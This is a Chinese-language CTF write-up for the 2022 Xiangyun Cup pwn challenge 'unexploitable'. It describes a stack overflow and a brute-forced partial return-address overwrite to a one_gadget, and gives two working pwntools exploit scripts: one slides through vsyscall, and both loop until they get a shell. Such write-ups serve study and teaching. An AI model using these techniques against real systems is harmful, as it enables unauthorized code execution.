祥云杯2022-unexploitable - wp

题目分析

分析一下文件,发现只有一个read函数来读取数据,但是给的空间非常大,基本上是随便溢出了。但是还是出了点小问题,刚好这是我第一道爆破的题,记录一下,以后要是忘了还可以回来看看

exp

看栈上返回地址的后面第二位是libc_start_main一定偏移的地址,于是我们可以通过部分覆盖法来将该地址覆盖为one_gaget的地址,看师傅们的wp

  • 有用vsyacall来使返回地址滑到libc那里去的
  • 也有通过返回到push ebp之后的地址使返回地址的上一位被弹出的
  • 好像还能用ret2_dl_runtime来做(还没有自己试过)

前两种方法都是爆破法来求解,但是爆破的概率有点小,需要爆破三位。全凭运气了,概率为4096分之一。但还是写一下。最近发现爆破法用得挺多的。

通过ret_push_after 的exp在下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = "debug"
global p
def pwn():
p.send(b"\x00"*0x18 + p8(0xd1))
# dbg()
# time.sleep(5)
p.send(b"\x00"*0x18 + b'\x56\x16\x05')
p.sendline("ls")
tmp = p.recv(1,timeout=1)
print(tmp)
if not tmp or tmp==b'*':
raise
p.interactive()

while 1:
try:
p = process("./unexploitable")
pwn()
except EOFError:
p.close()
p.close()

这是通过vsyscall的方法来滑到libc那里(但是不建议用,因为vsyscall仅在部分发行版上使用,例如unbuntu 16.04,现在已经被vdso替代了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#context.log_level='debug'
context.arch='amd64'
context.log_level == "debug"
def exp():
payload = p64(0xdeadbeef) * 3 + p64(0xffffffffff600000) * 2 + b'\x56\x16\x05'
#0xffffffffff600000是vsyscall的固定地址
p.send(payload)
p.sendline('cat flag')
a=p.recv(timeout=0.5)
if not a:
return
p.interactive()

while 1:
try:
p = remote("ip", port)
exp()
except EOFError:
p.close()
p.close()

小插曲

在调试这个题的源文件的时候,发现竟然不允许我输入,直接跳过read的系统调用了,导致我无法调试,后来才发现是我关闭了本身自带的ASLR,然后他本身的输入太大了,导致系统调用报错了,要么开启ASLR就能运行,要么输入的size不大于0x1000即可,具体原因还没有debug出来,要是有师傅知道可以联系我一下。